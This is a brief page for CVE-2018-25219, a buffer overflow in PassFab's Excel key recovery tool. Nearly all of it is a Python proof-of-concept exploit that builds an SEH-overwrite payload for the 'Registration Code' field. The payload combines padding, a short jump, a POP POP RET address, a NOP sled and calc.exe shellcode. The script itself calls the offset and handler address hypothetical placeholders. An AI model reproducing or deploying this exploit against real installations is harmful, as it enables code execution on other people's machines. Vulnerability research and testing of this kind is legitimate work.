CVE-2018-25219 PassFab Excel密钥恢复缓冲区溢出

#!/usr/bin/env python3 # PoC for CVE-2018-25219 - SEH Buffer Overflow # Generates malicious payload to paste into 'Registration Code' field import struct # Bad characters typical for this type of BOF (example) bad_chars = b"\x00\x0a\x0d" # Shellcode (calc.exe for testing) shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" # Offset to SEH handler (Needs debugging to find exact offset, hypothetical value) offset = 500 # POP POP RET instruction address (Universal or App-specific) # Example address (non-specific) seh_handler = struct.pack('<L', 0x10010005) # Padding to align to next SEH record next_seh = b"\xeb\x06\x90\x90" # short jump + nops # Payload construction payload = b"A" * offset payload += next_seh payload += seh_handler payload += b"\x90" * 32 # Nop sled payload += shellcode print(f"[*] Payload length: {len(payload)}") print(f"[*] Paste the following into the Registration Code field:") print(payload.decode('latin-1'))